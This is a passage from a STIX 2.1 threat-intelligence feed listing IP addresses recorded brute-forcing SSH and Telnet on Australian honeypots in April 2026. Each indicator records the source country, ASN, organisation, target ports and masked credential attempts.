      "valid_from": "2026-04-03T17:15:12.000Z",
      "valid_until": "2026-05-05T17:15:08.000Z"
    },
    {
      "created": "2026-04-03T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t. Passwords observed (masked): *, !******r.",
      "id": "indicator--51938c4c-c420-441d-84a8-2dc83e0c74ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.140.127.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T18:15:10.000Z",
      "valid_until": "2026-05-05T18:15:08.000Z"
    },
    {
      "created": "2026-04-03T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 38841. Organisation(s): kbro CO. Ltd..",
      "id": "indicator--03bb7d65-3221-4a82-9e1e-350c7106c3ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.195.174.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T18:15:10.000Z",
      "valid_until": "2026-05-05T18:15:08.000Z"
    },
    {
      "created": "2026-04-03T18:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************x. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--b6c58546-be9d-468d-a0a8-1f19b0bd953c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.227.170.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T18:15:10.000Z",
      "valid_until": "2026-05-05T18:15:08.000Z"
    },
    {
      "created": "2026-04-03T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--6ad878ba-b4f4-4ce9-87a3-e565596beb81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.72.32.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T18:15:10.000Z",
      "valid_until": "2026-05-05T18:15:08.000Z"
    },
    {
      "created": "2026-04-03T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--cc49d170-a491-4072-99dd-d061ce07c4d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T18:15:10.000Z",
      "valid_until": "2026-05-05T18:15:08.000Z"
    },
    {
      "created": "2026-04-03T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--df8454d4-fcd6-4f5a-aa65-dbc80a6533e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '169.213.136.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T19:15:10.000Z",
      "valid_until": "2026-05-05T19:15:08.000Z"
    },
    {
      "created": "2026-04-03T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): C***************e, G******************************************************1, U******************************************************************************************0. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--95ad3ab5-7bfe-4e5b-bdd4-b09c7fa7cef1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T19:15:10.000Z",
      "valid_until": "2026-05-05T19:15:08.000Z"
    },
    {
      "created": "2026-04-03T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): ***, r**t. Passwords observed (masked): D****!, q**1.",
      "id": "indicator--db95755d-d326-40d5-a9bb-1f1374e6f9df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.126.143.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T20:15:12.000Z",
      "valid_until": "2026-05-05T20:15:08.000Z"
    },
    {
      "created": "2026-04-03T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): m******e, r**t, 3**********4, l*****r, o****e. Passwords observed (masked): 3***********4, 3**********4, @*****6, Q******$, l*****r.",
      "id": "indicator--2d1de9d4-3d57-4d37-8993-83bffd611bbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.13.206.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T20:15:12.000Z",
      "valid_until": "2026-05-05T20:15:08.000Z"
    },
    {
      "created": "2026-04-03T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--4f75df4e-2dba-4b64-8159-f86023595fa7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.118.202.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T20:15:12.000Z",
      "valid_until": "2026-05-05T20:15:08.000Z"
    },
    {
      "created": "2026-04-03T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 87. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, m*******t. Passwords observed (masked): 3***********4, Q**********9, R******!, m**e, r********!.",
      "id": "indicator--ad203d16-a155-4e14-ab34-dc8679e48577",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.78.204.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T20:15:12.000Z",
      "valid_until": "2026-05-05T20:15:08.000Z"
    },
    {
      "created": "2026-04-03T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -**************-.",
      "id": "indicator--eba59c2d-47b2-4cac-ae7b-5198fc514166",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '180.130.116.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T21:15:11.000Z",
      "valid_until": "2026-05-05T21:15:08.000Z"
    },
    {
      "created": "2026-04-03T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit.",
      "id": "indicator--ae8f883c-c59d-4ccf-ac97-743bbdac2999",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T21:15:11.000Z",
      "valid_until": "2026-05-05T21:15:08.000Z"
    },
    {
      "created": "2026-04-03T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--3389ae62-f61a-4a57-b62b-af51bf7199ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T21:15:11.000Z",
      "valid_until": "2026-05-05T21:15:08.000Z"
    },
    {
      "created": "2026-04-03T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--72f71a6d-8906-4eb5-a472-212e4a78403e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.133.163.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T21:15:11.000Z",
      "valid_until": "2026-05-05T21:15:08.000Z"
    },
    {
      "created": "2026-04-03T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 214036. Organisation(s): Ultahost, Inc..",
      "id": "indicator--f13f2265-c4db-4007-a232-302936b59cc2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '84.201.6.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T21:15:11.000Z",
      "valid_until": "2026-05-05T21:15:08.000Z"
    },
    {
      "created": "2026-04-03T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 215439. Organisation(s): Play2go International Limited.",
      "id": "indicator--8c3db7a8-4610-486a-a356-04d5cb8a2d2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.31.234.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T22:15:10.000Z",
      "valid_until": "2026-05-05T22:15:08.000Z"
    },
    {
      "created": "2026-04-03T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--0edc4a13-9d99-4420-ac3c-0bd0e659e387",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.168.201.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T22:15:10.000Z",
      "valid_until": "2026-05-05T22:15:08.000Z"
    },
    {
      "created": "2026-04-03T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--b0ac1179-9d77-46b7-b7c4-7cacdcd8b503",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.37.95.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T23:15:10.000Z",
      "valid_until": "2026-05-05T23:15:09.000Z"
    },
    {
      "created": "2026-04-03T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--2d3f45df-a61e-4fa2-8fa8-e8960dcaab1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.88.98.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T23:15:10.000Z",
      "valid_until": "2026-05-05T23:15:09.000Z"
    },
    {
      "created": "2026-04-03T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--94279b86-c03d-4b58-8003-c9d21b975b97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.88.98.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T23:15:10.000Z",
      "valid_until": "2026-05-05T23:15:09.000Z"
    },
    {
      "created": "2026-04-03T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c76596ad-4073-4114-882f-b5cdee8323d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T23:15:10.000Z",
      "valid_until": "2026-05-05T23:15:09.000Z"
    },
    {
      "created": "2026-04-04T00:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 134932. Organisation(s): VORTEX INFOWAY PRIVATE LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--3fe8451c-7b25-4fc7-8c6d-53a662f36ba8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T00:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.141.116.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T00:15:16.000Z",
      "valid_until": "2026-05-06T00:15:08.000Z"
    },
    {
      "created": "2026-04-04T00:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): u***2. Passwords observed (masked): ***.",
      "id": "indicator--f3a7db66-dd21-4185-b3b1-0b4319bf67ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T00:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.187.147.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T00:15:16.000Z",
      "valid_until": "2026-05-06T00:15:08.000Z"
    },
    {
      "created": "2026-04-04T00:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--025141f2-548c-4c5b-8d59-3d0fe2dccf79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T00:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T00:15:16.000Z",
      "valid_until": "2026-05-06T00:15:08.000Z"
    },
    {
      "created": "2026-04-04T00:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--70f9364d-a433-464f-88b6-fe55a046cbe2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T00:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T00:15:16.000Z",
      "valid_until": "2026-05-06T00:15:08.000Z"
    },
    {
      "created": "2026-04-04T00:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--5960d2b7-90eb-4d41-85d3-957eef073866",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T00:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.14.73.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T00:15:16.000Z",
      "valid_until": "2026-05-06T00:15:08.000Z"
    },
    {
      "created": "2026-04-04T00:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--3f9b4f54-351a-44a5-bec6-b7e83a6fc2cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T00:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T00:15:16.000Z",
      "valid_until": "2026-05-06T00:15:08.000Z"
    },
    {
      "created": "2026-04-04T00:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--f0210a51-3ca6-4748-a7d0-d5e5b740a9ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T00:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T00:15:16.000Z",
      "valid_until": "2026-05-06T00:15:08.000Z"
    },
    {
      "created": "2026-04-04T00:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--94fa2a80-97f8-41f6-9241-08de5eeb306b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T00:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T00:15:16.000Z",
      "valid_until": "2026-05-06T00:15:08.000Z"
    },
    {
      "created": "2026-04-04T00:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--092ced31-ee28-4c4b-a00e-ebf856b31d3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T00:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T00:15:16.000Z",
      "valid_until": "2026-05-06T00:15:08.000Z"
    },
    {
      "created": "2026-04-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--6bbc4186-5c0c-4065-9032-2511ceae1e79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.232.111.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:15:10.000Z",
      "valid_until": "2026-05-06T01:15:08.000Z"
    },
    {
      "created": "2026-04-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--44f61efc-aade-4ece-a095-9bafa18fe9fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '54.242.154.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:15:10.000Z",
      "valid_until": "2026-05-06T01:15:08.000Z"
    },
    {
      "created": "2026-04-04T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 133481. Organisation(s): AIS Fibre. Usernames observed (masked): r**t, e****e, **. Passwords observed (masked): q****y, s***l, s****m, t**r.",
      "id": "indicator--46453695-703a-484a-b0f3-bef92a31dc73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.136.196.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:15:10.000Z",
      "valid_until": "2026-05-06T01:15:08.000Z"
    },
    {
      "created": "2026-04-04T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--4efc883e-a6fc-4626-839b-eb0ea5c033b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:15:10.000Z",
      "valid_until": "2026-05-06T01:15:08.000Z"
    },
    {
      "created": "2026-04-04T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--8624f336-5f5d-49b0-af1b-5d957ac03a4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
